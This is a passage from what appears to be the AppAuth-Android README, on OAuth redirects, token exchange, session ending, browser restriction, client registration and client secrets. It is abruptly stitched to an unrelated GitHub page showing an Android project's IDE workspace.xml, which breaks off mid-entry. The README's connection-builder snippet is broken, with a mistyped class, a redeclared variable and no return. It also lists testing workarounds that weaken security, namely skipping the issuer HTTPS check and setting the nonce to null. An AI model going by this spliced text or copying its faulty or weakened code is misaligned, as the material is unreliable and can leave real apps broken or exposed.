transition to another activity on completion or cancelation, you can use `performAuthorizationRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performAuthorizationRequest( authRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` The intents may be customized to carry any additional data or flags required for the correct handling of the authorization response. #### Capturing the authorization redirect Once the authorization flow is completed in the browser, the authorization service will redirect to a URI specified as part of the authorization request, providing the response via query parameters. In order for your app to capture this response, it must register with the Android OS as a handler for this redirect URI. We recommend using a custom scheme based redirect URI (i.e. those of form `my.scheme:/path`), as this is the most widely supported across all versions of Android. To avoid conflicts with other apps, it is recommended to configure a distinct scheme using "reverse domain name notation". This can either match your service web domain (in reverse) e.g. `com.example.service` or your package name `com.example.app` or be something completely new as long as it's distinct enough. Using the package name of your app is quite common but it's not always possible if it contains illegal characters for URI schemes (like underscores) or if you already have another handler for that scheme - so just use something else. When a custom scheme is used, AppAuth can be easily configured to capture all redirects using this custom scheme through a manifest placeholder: ```groovy android.defaultConfig.manifestPlaceholders = [ 'appAuthRedirectScheme': 'com.example.app' ] ``` Alternatively, the redirect URI can be directly configured by adding an intent-filter for AppAuth's RedirectUriReceiverActivity to your AndroidManifest.xml: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="com.example.app"/> </intent-filter> </activity> ``` If an HTTPS redirect URI is required instead of a custom scheme, the same approach (modifying your AndroidManifest.xml) is used: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="https" android:host="app.example.com" android:path="/oauth2redirect"/> </intent-filter> </activity> ``` HTTPS redirects can be secured by configuring the redirect URI as an [app link](https://developer.android.com/training/app-links/index.html) in Android M and above. We recommend that a fallback page be configured at the same address to forward authorization responses to your app via a custom scheme, for older Android devices. #### Handling the authorization response Upon completion of the authorization flow, the completion Intent provided to performAuthorizationRequest will be triggered. The authorization response is provided to this activity via Intent extra data, which can be extracted using the `fromIntent()` methods on AuthorizationResponse and AuthorizationException respectively: ```java public void onCreate(Bundle b) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` The response can be provided to the AuthState instance for easy persistence and further processing: ``` authState.update(resp, ex); ``` If the full redirect URI is required in order to extract additional information that AppAuth does not provide, this is also provided to your activity: ```java public void onCreate(Bundle b) { // ... Uri redirectUri = getIntent().getData(); // ... } ``` ### Exchanging the authorization code Given a successful authorization response carrying an authorization code, a token request can be made to exchange the code for a refresh token: ```java authService.performTokenRequest( resp.createTokenExchangeRequest(), new AuthorizationService.TokenResponseCallback() { @Override public void onTokenRequestCompleted( TokenResponse resp, AuthorizationException ex) { if (resp != null) { // exchange succeeded } else { // authorization failed, check ex for more details } } }); ``` The token response can also be used to update an AuthState instance: ```java authState.update(resp, ex); ``` ### Using access tokens Finally, the retrieved access token can be used to interact with a resource server. This can be done directly, by extracting the access token from a token response. However, in most cases, it is simpler to use the `performActionWithFreshTokens` utility method provided by AuthState: ```java authState.performActionWithFreshTokens(service, new AuthStateAction() { @Override public void execute( String accessToken, String idToken, AuthorizationException ex) { if (ex != null) { // negotiation for fresh tokens failed, check ex for more details return; } // use the access token to do something ... } }); ``` This also updates the AuthState object with current access, id, and refresh tokens. If you are storing your AuthState in persistent storage, you should write the updated copy in the callback to this method. ### Ending current session Given you have a logged in session and you want to end it. In that case you need to get: - `AuthorizationServiceConfiguration` - valid Open Id Token that you should get after authentication - End of session URI that should be provided within you OpenId service config First you have to build EndSessionRequest ```java EndSessionRequest endSessionRequest = new EndSessionRequest.Builder(authorizationServiceConfiguration) .setIdTokenHint(idToken) .setPostLogoutRedirectUri(endSessionRedirectUri) .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performEndSessionRequest` and providing pending intent for completion and cancelation handling activities. The startActivityForResult approach is simpler to use but may require more processing of the result: ```java private void endSession() { AuthorizationService authService = new AuthorizationService(this); Intent endSessionItent = authService.getEndSessionRequestIntent(endSessionRequest); startActivityForResult(endSessionItent, RC_END_SESSION); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_END_SESSION) { EndSessionResonse resp = EndSessionResonse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performEndSessionRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performEndSessionRequest( endSessionRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` End session flow will also work involving browser mechanism that is described in authorization mechanism session. Handling response mechanism with transition to another activity should be as follows: ```java public void onCreate(Bundle b) { EndSessionResponse resp = EndSessionResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` ### AuthState persistence Instances of `AuthState` keep track of the authorization and token requests and responses. This is the only object that you need to persist to retain the authorization state of the session. Typically, one would do this by storing the authorization state in SharedPreferences or some other persistent store private to the app: ```java @NonNull public AuthState readAuthState() { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); String stateJson = authPrefs.getString("stateJson", null); if (stateJson != null) { return AuthState.jsonDeserialize(stateJson); } else { return new AuthState(); } } public void writeAuthState(@NonNull AuthState state) { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); authPrefs.edit() .putString("stateJson", state.jsonSerializeString()) .apply(); } ``` The demo app has an [AuthStateManager](https://github.com/openid/AppAuth-Android/blob/master/app/java/net/openid/appauthdemo/AuthStateManager.java) type which demonstrates this in more detail. ## Advanced configuration AppAuth provides some advanced configuration options via [AppAuthConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java) instances, which can be provided to [AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) during construction. ### Controlling which browser is used for authorization Some applications require explicit control over which browsers can be used for authorization - for example, to require that Chrome be used for second factor authentication to work, or require that some custom browser is used for authentication in an enterprise environment. Control over which browsers can be used can be achieved by defining a [BrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserMatcher.java), and supplying this to the builder of AppAuthConfiguration. A BrowserMatcher is suppled with a [BrowserDescriptor](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDescriptor.java) instance, and must decide whether this browser is permitted for the authorization flow. By default, [AnyBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/AnyBrowserMatcher.java) is used. For your convenience, utility classes to help define a browser matcher are provided, such as: - [Browsers](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/Browsers.java): contains a set of constants for the official package names and signatures of Chrome, Firefox and Samsung SBrowser. - [VersionedBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionedBrowserMatcher.java): will match a browser if it has a matching package name and signature, and a version number within a defined [VersionRange](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionRange.java). This class also provides some static instances for matching Chrome, Firefox and Samsung SBrowser. - [BrowserAllowList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserAllowList.java): takes a list of BrowserMatcher instances, and will match a browser if any of these child BrowserMatcher instances signals a match. - [BrowserDenyList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDenyList.java): the inverse of BrowserAllowList - takes a list of browser matcher instances, and will match a browser if it _does not_ match any of these child BrowserMatcher instances. For instance, in order to restrict the authorization flow to using Chrome or SBrowser as a custom tab: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserAllowList( VersionedBrowserMatcher.CHROME_CUSTOM_TAB, VersionedBrowserMatcher.SAMSUNG_CUSTOM_TAB)) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` Or, to prevent the use of a buggy version of the custom tabs in Samsung SBrowser: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserDenyList( new VersionedBrowserMatcher( Browsers.SBrowser.PACKAGE_NAME, Browsers.SBrowser.SIGNATURE_SET, true, // when this browser is used via a custom tab VersionRange.atMost("5.3") ))) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` ### Customizing the connection builder for HTTP requests It can be desirable to customize how HTTP connections are made when performing token requests, for instance to use [certificate pinning](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning) or to add additional trusted certificate authorities for an enterprise environment. This can be achieved in AppAuth by providing a custom [ConnectionBuilder](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/connectivity/ConnectionBuilder.java) instance. For example, to custom the SSL socket factory used, one could do the following: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setConnectionBuilder(new ConnectionBuilder() { public HttpURLConnection openConnect(Uri uri) throws IOException { URL url = new URL(uri.toString()); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (connection instanceof HttpsUrlConnection) { HttpsURLConnection connection = (HttpsURLConnection) connection; connection.setSSLSocketFactory(MySocketFactory.getInstance()); } } }) .build(); ``` ### Issues with [ID Token](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/IdToken.java#L118) validation ID Token validation was introduced in `0.8.0` but not all authorization servers or configurations support it correctly. - For testing environments [setSkipIssuerHttpsCheck](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java#L129) can be used to bypass the fact the issuer needs to be HTTPS. ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setSkipIssuerHttpsCheck(true) .build() ``` - For services that don't support nonce[s] resulting in **IdTokenException** `Nonce mismatch` just set nonce to `null` on the `AuthorizationRequest`. Please consider **raising an issue** with your Identity Provider and removing this once it is fixed. ```java AuthorizationRequest authRequest = authRequestBuilder .setNonce(null) .build(); ``` ## Dynamic client registration AppAuth supports the [OAuth2 dynamic client registration protocol](https://tools.ietf.org/html/rfc7591). In order to dynamically register a client, create a [RegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/RegistrationRequest.java) and dispatch it using [performRegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L278) on your AuthorizationService instance. The registration endpoint can either be defined directly as part of your [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java), or discovered from an OpenID Connect discovery document. ```java RegistrationRequest registrationRequest = new RegistrationRequest.Builder( serviceConfig, Arrays.asList(redirectUri)) .build(); ``` Requests are dispatched with the help of `AuthorizationService`. As this request is asynchronous the response is passed to a callback: ```java service.performRegistrationRequest( registrationRequest, new AuthorizationService.RegistrationResponseCallback() { @Override public void onRegistrationRequestCompleted( @Nullable RegistrationResponse resp, @Nullable AuthorizationException ex) { if (resp != null) { // registration succeeded, store the registration response AuthState state = new AuthState(resp); //proceed to authorization... } else { // registration failed, check ex for more details } } }); ``` ## Utilizing client secrets (DANGEROUS) We _strongly recommend_ you avoid using static client secrets in your native applications whenever possible. Client secrets derived via a dynamic client registration are safe to use, but static client secrets can be easily extracted from your apps and allow others to impersonate your app and steal user data. If client secrets must be used by the OAuth2 provider you are integrating with, we strongly recommend performing the code exchange step on your backend, where the client secret can be kept hidden. Having said this, in some cases using client secrets is unavoidable. In these cases, a [ClientAuthentication](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientAuthentication.java) instance can be provided to AppAuth when performing a token request. This allows additional parameters (both HTTP headers and request body parameters) to be added to token requests. Two standard implementations of ClientAuthentication are provided: - [ClientSecretBasic](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretBasic.java): includes a client ID and client secret as an HTTP Basic Authorization header. - [ClientSecretPost](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretPost.java): includes a client ID and client secret as additional request parameters. So, in order to send a token request using HTTP basic authorization, one would write: ```java ClientAuthentication clientAuth = new ClientSecretBasic(MY_CLIENT_SECRET); TokenRequest req = ...; authService.performTokenRequest(req, clientAuth, callback); ``` This can also be done when using `performActionWithFreshTokens` on AuthState: ```java ClientAuthentication clientAuth = new ClientSecretPost(MY_CLIENT_SECRET); authState.performActionWithFreshTokens( authService, clientAuth, action); ``` ## Modifying or contributing to AppAuth This project requires the Android SDK for API level 25 (Nougat) to build, though the produced binaries only require API level 16 (Jellybean) to be used. We recommend that you fork and/or clone this repository to make modifications; downloading the source has been known to cause some developers problems. For contributors, see the additional instructions in [CONTRIBUTING.md](https://github.com/openid/AppAuth-Android/blob/master/CONTRIBUTING.md). ### Building from the Command line AppAuth for Android uses Gradle as its build system. In order to build the library and app binaries, run `./gradlew assemble`. The library AAR files are output to `library/build/outputs/aar`, while the demo app is output to `app/build/outputs/apk`. In order to run the tests and code analysis, run `./gradlew check`. ### Building from Android Studio In AndroidStudio, File -> New -> Import project. Select the root folder (the one with the `build.gradle` file).
Saturnremabtc64 / Supreme Octo RoboticeyxGear61 / Random-Number-Generator Code Issues 5 Pull requests 0 Projects 0 Wiki Pulse projectFilesBackup/.idea/workspace.xml <?xml version="1.0" encoding="UTF-8"?> <project version="4"> <component name="AndroidLayouts"> <shared> <config /> </shared> </component> <component name="AndroidLogFilters"> <option name="TOOL_WINDOW_CONFIGURED_FILTER" value="Show only selected application" /> </component> <component name="ChangeListManager"> <list default="true" id="f5e37520-ca17-4d94-bb6c-b4cbc9c73568" name="Default" comment="" /> <ignored path="rngplus.iws" /> <ignored path=".idea/workspace.xml" /> <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" /> <option name="TRACKING_ENABLED" value="true" /> <option name="SHOW_DIALOG" value="false" /> <option name="HIGHLIGHT_CONFLICTS" value="true" /> <option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" /> <option name="LAST_RESOLUTION" value="IGNORE" /> </component> <component name="ChangesViewManager" flattened_view="true" show_ignored="false" /> <component name="CreatePatchCommitExecutor"> <option name="PATCH_PATH" value="" /> </component> <component name="ExecutionTargetManager" SELECTED_TARGET="default_target" /> <component name="ExternalProjectsManager"> <system id="GRADLE"> <state> <projects_view /> </state> </system> </component> <component name="FavoritesManager"> <favorites_list name="rngplus" /> </component> <component name="FileEditorManager"> <leaf SIDE_TABS_SIZE_LIMIT_KEY="300"> <file leaf-file-name="SettingsActivity.java" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/SettingsActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="21" column="4" selection-start-line="21" selection-start-column="4" selection-end-line="69" selection-end-column="5" /> <folding> <element signature="imports" expanded="false" /> </folding> </state> </provider> </entry> </file> <file leaf-file-name="settings_strings.xml" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/settings_strings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="20" column="50" selection-start-line="20" selection-start-column="50" selection-end-line="20" selection-end-column="50" /> <folding /> </state> </provider> </entry> </file> <file leaf-file-name="styles.xml" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/styles.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="7" column="4" selection-start-line="7" selection-start-column="4" selection-end-line="21" selection-end-column="12" /> <folding /> </state> </provider> </entry> </file> <file leaf-file-name="ripple_button.xml" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/res/drawable/ripple_button.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="5" column="11" selection-start-line="5" selection-start-column="11" selection-end-line="5" selection-end-column="11" /> <folding /> </state> </provider> </entry> </file> <file leaf-file-name="homepage.xml" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/homepage.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-0.28301886"> <caret line="1" column="48" selection-start-line="1" selection-start-column="48" selection-end-line="1" selection-end-column="48" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> </file> <file leaf-file-name="settings.xml" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/settings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="6" column="41" selection-start-line="0" selection-start-column="0" selection-end-line="14" selection-end-column="0" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> </file> <file leaf-file-name="MainActivity.java" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/MainActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="331" column="5" selection-start-line="296" selection-start-column="4" selection-end-line="331" selection-end-column="5" /> <folding> <element signature="imports" expanded="false" /> <element signature="e#5173#5174#0" expanded="false" /> <element signature="e#5212#5213#0" expanded="false" /> <element signature="e#5339#5340#0" expanded="false" /> <element signature="e#5378#5379#0" expanded="false" /> </folding> </state> </provider> </entry> </file> <file leaf-file-name="menu_main.xml" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/res/menu/menu_main.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="13" column="0" selection-start-line="13" selection-start-column="0" selection-end-line="13" selection-end-column="0" /> <folding /> </state> </provider> </entry> </file> <file leaf-file-name="AndroidManifest.xml" pinned="false" current-in-tab="false"> <entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-8.75"> <caret line="14" column="49" selection-start-line="14" selection-start-column="0" selection-end-line="15" selection-end-column="0" /> <folding /> </state> </provider> </entry> </file> <file leaf-file-name="edittext_border.xml" pinned="false" current-in-tab="true"> <entry file="file://$PROJECT_DIR$/app/src/main/res/drawable/edittext_border.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.2112676"> <caret line="5" column="8" selection-start-line="0" selection-start-column="0" selection-end-line="5" selection-end-column="8" /> <folding /> </state> </provider> </entry> </file> </leaf> </component> <component name="FileTemplateManagerImpl"> <option name="RECENT_TEMPLATES"> <list> <option value="resourceFile" /> <option value="layoutResourceFile_vertical" /> <option value="Class" /> <option value="valueResourceFile" /> </list> </option> </component> <component name="GenerateSignedApkSettings"> <option name="KEY_STORE_PATH" value="$PROJECT_DIR$/../keys/randomappsinc.jks" /> <option name="KEY_ALIAS" value="randomappsinc" /> <option name="REMEMBER_PASSWORDS" value="true" /> </component> <component name="Git.Settings"> <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" /> </component> <component name="GradleLocalSettings"> <option name="availableProjects"> <map> <entry> <key> <ExternalProjectPojo> <option name="name" value="rngplus" /> <option name="path" value="$PROJECT_DIR$" /> </ExternalProjectPojo> </key> <value> <list> <ExternalProjectPojo> <option name="name" value=":app" /> <option name="path" value="$PROJECT_DIR$/app" /> </ExternalProjectPojo> <ExternalProjectPojo> <option name="name" value="rngplus" /> <option name="path" value="$PROJECT_DIR$" /> </ExternalProjectPojo> </list> </value> </entry> </map> </option> <option name="availableTasks"> <map> <entry key="$PROJECT_DIR$"> <value> <list> <ExternalTaskPojo> <option name="description" value="Displays all buildscript dependencies declared in root project 'rngplus'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="buildEnvironment" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="clean" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the components produced by root project 'rngplus'. [incubating]" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="components" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays all dependencies declared in root project 'rngplus'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="dependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the insight into a specific dependency in root project 'rngplus'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="dependencyInsight" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays a help message." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="help" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Initializes a new Gradle build. [incubating]" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="init" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the configuration model of root project 'rngplus'. [incubating]" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="model" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the sub-projects of root project 'rngplus'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="projects" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the properties of root project 'rngplus'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="properties" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the tasks runnable from root project 'rngplus' (some of the displayed tasks may belong to subprojects)." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="tasks" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Generates Gradle wrapper files. [incubating]" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="wrapper" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the Android dependencies of the project." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="androidDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all variants of all applications and secondary packages." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="assemble" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all the Test applications." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="assembleAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all Debug builds." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="assembleDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="assembleDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="assembleDebugUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all Release builds." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="assembleRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="assembleReleaseUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles and tests this project." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="build" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles and tests this project and all projects that depend on it." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="buildDependents" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles and tests this project and all projects it depends on." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="buildNeeded" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs all checks." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="check" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="checkDebugManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="checkReleaseManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugAidl" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugAndroidTestAidl" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugAndroidTestJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugAndroidTestNdk" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugAndroidTestRenderscript" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugAndroidTestShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugAndroidTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugNdk" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugRenderscript" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugUnitTestJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileDebugUnitTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileLint" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseAidl" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseNdk" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseRenderscript" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseUnitTestJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="compileReleaseUnitTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs and runs instrumentation tests for all flavors on connected devices." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="connectedAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs all device checks on currently connected devices." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="connectedCheck" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs and runs the tests for debug on connected devices." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="connectedDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs and runs instrumentation tests using all Device Providers." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="deviceAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs all device checks using Device Providers and Test Servers." 